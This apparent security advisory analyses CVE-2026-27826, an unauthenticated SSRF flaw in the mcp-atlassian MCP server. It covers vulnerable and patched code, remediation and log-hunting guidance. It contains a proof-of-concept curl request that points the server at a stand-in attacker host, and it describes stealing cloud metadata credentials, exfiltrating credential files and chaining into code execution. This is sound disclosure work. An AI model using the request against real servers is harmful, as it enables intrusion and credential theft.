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Made with love by Amit Schendel & Alon Barad



CVE-2026-27826
8.2

CVE-2026-27826: Unauthenticated Server-Side Request Forgery in mcp-atlassian Custom Header Parsing

Amit Schendel
Amit Schendel
Senior Security Researcher

Mar 10, 2026·8 min read·3 visits

Weaponized

Executive Summary (TL;DR)

Unauthenticated SSRF in mcp-atlassian prior to version 0.17.0 allows attackers to force the server to make arbitrary HTTP requests via manipulated X-Atlassian-Jira-Url headers, exposing internal services and cloud metadata.

CVE-2026-27826 is a high-severity Server-Side Request Forgery (SSRF) vulnerability in the mcp-atlassian Model Context Protocol (MCP) server. The vulnerability allows unauthenticated attackers to supply arbitrary URLs via custom HTTP headers, forcing the server to make outbound HTTP requests to internal networks, local ports, or cloud instance metadata services. This flaw can be weaponized to steal cloud credentials or chained with CVE-2026-27825 to achieve remote code execution.

Vulnerability Overview

The mcp-atlassian project is a Model Context Protocol (MCP) server designed to facilitate integration between AI assistants and Atlassian products like Jira and Confluence. The server implements a multi-tenant HTTP architecture that dynamically routes requests based on client-supplied configuration data. This design allows different users or AI sessions to target distinct Atlassian instances using a single shared MCP server deployment.

CVE-2026-27826 identifies a critical Server-Side Request Forgery (SSRF) vulnerability classified under CWE-918. The flaw manifests in the server's HTTP middleware layer, which parses incoming requests to extract routing and authentication metadata. The middleware explicitly reads custom HTTP headers, such as X-Atlassian-Jira-Url, to determine the upstream destination for subsequent API calls.

The vulnerability exists because the application processes these custom headers and instantiates HTTP clients without applying adequate validation or sanitization to the provided URL strings. An unauthenticated attacker can exploit this behavior by sending crafted initialization requests to the MCP server. The server subsequently uses the attacker-controlled URL to initialize its internal fetcher components and immediately triggers an outbound HTTP request.

The resulting SSRF condition allows an attacker to pivot through the mcp-atlassian server to access network resources that would otherwise be isolated. This includes the ability to scan internal network segments, interact with local services bound to the loopback interface, and query cloud provider metadata endpoints to extract temporary IAM credentials.

Root Cause Analysis

The root cause of CVE-2026-27826 lies in the insecure handling of user-supplied routing data within the application's dependency injection and configuration lifecycle. The application supports multiple authentication modes, including a Personal Access Token (PAT) mechanism triggered by specific combinations of HTTP headers. The vulnerability is introduced when the server transitions from header extraction to component initialization.

Within src/mcp_atlassian/servers/main.py (lines 436–448), the HTTP middleware inspects incoming requests for the presence of the X-Atlassian-Jira-Url and X-Atlassian-Confluence-Url headers. If these headers are detected alongside an X-Atlassian-Jira-Personal-Token header, and the standard Authorization header is absent, the middleware sets the internal authentication context to a value of "pat". This context dictates how the server constructs its HTTP clients for subsequent operations.

The execution flow then proceeds to src/mcp_atlassian/servers/dependencies.py (lines 189–217), where the dependency provider constructs the JiraConfig and JiraFetcher objects. The provider reads the URL extracted from the custom header and injects it directly into the configuration object as the base URL. The application fails to verify the scheme, hostname, or IP address of the provided URL before finalizing the configuration.

Upon instantiation, the JiraFetcher component performs an immediate validation step by invoking the get_current_user_account_id() function. This function constructs a target URI by appending /rest/api/2/myself to the injected base URL and issues an outbound HTTP GET request. Because the base URL is entirely controlled by the attacker and no boundary checks exist, the server blindly executes the request against any specified destination, creating an exploitable SSRF sink.

Code Analysis

An examination of the vulnerable codebase reveals the direct data flow from the HTTP request header to the SSRF sink. In versions prior to 0.17.0, the dependency provider instantiated the fetcher without applying any URL validation routines. The original code initialized the JiraConfig object using the raw string extracted from the HTTP middleware.

# Vulnerable implementation in dependencies.py
def get_jira_fetcher(request: Request) -> JiraFetcher:
    # Extracted directly from request state without validation
    jira_url = request.state.jira_url 
    pat_token = request.state.jira_pat
    
    config = JiraConfig(base_url=jira_url, token=pat_token)
    fetcher = JiraFetcher(config)
    
    # Sink: triggers immediate outbound GET request to {jira_url}/rest/api/2/myself
    fetcher.get_current_user_account_id() 
    return fetcher

The fix introduced in commit 5cd697dfce9116ef330b8dc7a91291640e0528d9 comprehensively addresses the vulnerability by introducing a robust validate_url_for_ssrf() function. This function is integrated directly into the configuration initialization phase. It performs multiple layers of validation to prevent bypassing techniques.

# Patched implementation in dependencies.py (Commit 5cd697d)
from .security import validate_url_for_ssrf
 
def get_jira_fetcher(request: Request) -> JiraFetcher:
    raw_jira_url = request.state.jira_url
    pat_token = request.state.jira_pat
    
    # Security control: comprehensive URL validation and DNS resolution
    validated_url = validate_url_for_ssrf(raw_jira_url, allowed_domains=settings.MCP_ALLOWED_URL_DOMAINS)
    
    config = JiraConfig(base_url=validated_url, token=pat_token)
    fetcher = JiraFetcher(config)
    fetcher.get_current_user_account_id()
    return fetcher

The validate_url_for_ssrf() implementation enforces a strict allowlist of URL schemes (http, https) and explicitly blocks common metadata service hostnames (e.g., metadata.google.internal). Crucially, the patch introduces DNS lookahead resolution. The application resolves the target hostname to an IP address before initiating the HTTP request and validates that the resulting IP does not fall within reserved, private, or loopback ranges (e.g., 10.0.0.0/8, 127.0.0.0/8, 169.254.169.254). This mechanism mitigates advanced SSRF exploitation techniques such as DNS rebinding.

Exploitation & Attack Methodology

Exploiting CVE-2026-27826 requires network access to the target mcp-atlassian service. The server must be configured to use a transport protocol that processes HTTP requests, specifically using the --transport streamable-http or --transport sse startup flags. The attack does not require the adversary to possess valid Atlassian credentials or prior authentication to the MCP server.

To trigger the vulnerability, the attacker crafts an HTTP POST request to the MCP server's initialization endpoint. The payload must satisfy the state conditions required to route the request through the vulnerable PAT authentication logic. Specifically, the attacker supplies the target SSRF destination via the X-Atlassian-Jira-Url header and includes an arbitrary string in the X-Atlassian-Jira-Personal-Token header. The request must omit the standard Authorization header to bypass alternative authentication flows.

The following sequence diagram illustrates the exploitation flow where an attacker forces the MCP server to query an internal metadata endpoint:

A functional Proof of Concept (PoC) involves setting up a listener on an attacker-controlled host and sending the crafted initialization request. The curl command below demonstrates how to format the headers and JSON-RPC payload to trigger the SSRF. Upon execution, the target MCP server will initiate a connection back to the attacker's listener at http://<attacker-ip>:8888/rest/api/2/myself.

# Trigger outbound call via JSON-RPC tool invocation
curl -X POST http://<target-mcp>:8000/mcp \
  -H "X-Atlassian-Jira-Url: http://<attacker-ip>:8888" \
  -H "X-Atlassian-Jira-Personal-Token: poc-token" \
  -d '{"jsonrpc": "2.0", "method": "tools/call", "params": {"name": "jira_get_issue", "arguments": {"issue_key": "PROJ-1"}}, "id": 2}'

Impact Assessment

The security impact of CVE-2026-27826 is highly context-dependent but generally classified as critical in modern deployment environments. When the mcp-atlassian server is hosted within cloud infrastructure (AWS, GCP, Azure), the primary risk is the compromise of the Instance Metadata Service (IMDS). An attacker can supply the IMDS IP address (169.254.169.254) as the target URL, potentially extracting temporary IAM credentials assigned to the host compute instance. This can lead to broader cloud environment compromise and privilege escalation.

Beyond cloud credential theft, the vulnerability enables comprehensive internal network reconnaissance. The vulnerable server acts as a proxy, permitting an external attacker to interact with internal APIs, databases, CI/CD pipelines, and Kubernetes orchestration endpoints that are firewalled from the public internet. By systematically iterating through internal IP ranges and ports, an attacker can map the internal topology and identify secondary vulnerable services.

The most severe impact arises when this SSRF is chained with other identified vulnerabilities. Researchers at Pluto Security demonstrated that CVE-2026-27826 can be combined with CVE-2026-27825, an arbitrary file write vulnerability affecting the same server component. The attacker utilizes the SSRF flaw to direct the server to fetch a malicious payload from an attacker-controlled endpoint. The file write vulnerability is then leveraged to save this payload to sensitive system locations, such as ~/.bashrc or ~/.ssh/authorized_keys, resulting in unauthenticated Remote Code Execution (RCE) on the underlying host.

Additionally, the built-in MCP tools provide avenues for data exfiltration. An attacker can instruct the server to utilize the confluence_upload_attachment function, targeting sensitive local configuration files (e.g., .env, .aws/credentials). The tool reads these files and attempts to upload them to the destination specified by the SSRF payload, effectively transmitting sensitive host data directly to the attacker.

Remediation and Mitigation Guidance

The primary remediation for CVE-2026-27826 is upgrading the mcp-atlassian package to version 0.17.0 or later. This release incorporates comprehensive SSRF protections, including strict input validation, DNS lookahead to prevent rebinding attacks, and an HTTP redirect hook that validates the Location header in server responses to prevent redirect-based SSRF bypasses.

Administrators upgrading to version 0.17.0 should also utilize the newly introduced MCP_ALLOWED_URL_DOMAINS configuration variable. This environmental variable allows administrators to define a strict allowlist of permissible Atlassian domain names. By explicitly defining the expected target instances (e.g., company.atlassian.net), the application will preemptively reject any requests attempting to route traffic to unauthorized domains or internal IP ranges.

For environments where immediate patching is not feasible, several network-level mitigations can reduce the attack surface. Operators should implement strict egress filtering on the host running the MCP server, denying outbound connections to the 169.254.169.254 cloud metadata endpoint. Furthermore, if the server is only intended to be consumed locally or by specific internal services, network access to the MCP HTTP listener port (default 8000) should be restricted using host-based firewalls or cloud security groups.

Security teams should proactively hunt for exploitation attempts by reviewing application and web application firewall (WAF) logs. Defenders should query for incoming HTTP requests containing the X-Atlassian-Jira-Url or X-Atlassian-Confluence-Url headers where the header value contains IP addresses, localhost references, or unrecognized external domains. Outbound network logs from the MCP server process should also be monitored for unexpected connections to internal subnets or cloud metadata services.

Official Patches

soopersetOfficial patch implementing SSRF validation controls
GitHub AdvisorySecurity advisory and mitigation details for GHSA-7r34-79r5-rcc9

Fix Analysis (1)

Technical Appendix

CVSS Score
8.2/ 10
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

Affected Systems

sooperset/mcp-atlassian (< 0.17.0)Cloud infrastructure hosting vulnerable MCP servers (AWS, GCP, Azure)Internal network services accessible from the vulnerable MCP server host

Affected Versions Detail

Product
Affected Versions
Fixed Version
mcp-atlassian
sooperset
< 0.17.00.17.0
AttributeDetail
CWE IDCWE-918
Attack VectorNetwork (Adjacent/Remote)
CVSS Score8.2
ImpactCloud Credential Theft, Internal Reconnaissance, RCE (when chained)
Exploit StatusWeaponized
Patched Version0.17.0

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1005Data from Local System
Collection
CWE-918
Server-Side Request Forgery (SSRF)

The web application receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Vulnerability Timeline

Potential vulnerability identified by Pluto Security.
2026-02-10
Private disclosure to maintainers.
2026-02-19
Fixes merged into the main repository.
2026-02-23
Version 0.17.0 released; CVEs issued.
2026-02-24
Public disclosure and NVD publication.
2026-03-10

References & Sources

  • [1]Pluto Security: MCPwnfluence Critical SSRF Analysis
  • [2]GitHub Advisory GHSA-7r34-79r5-rcc9
  • [3]CVE-2026-27825 (Related Arbitrary File Write)
Related Vulnerabilities
CVE-2026-27825

Attack Flow Diagram

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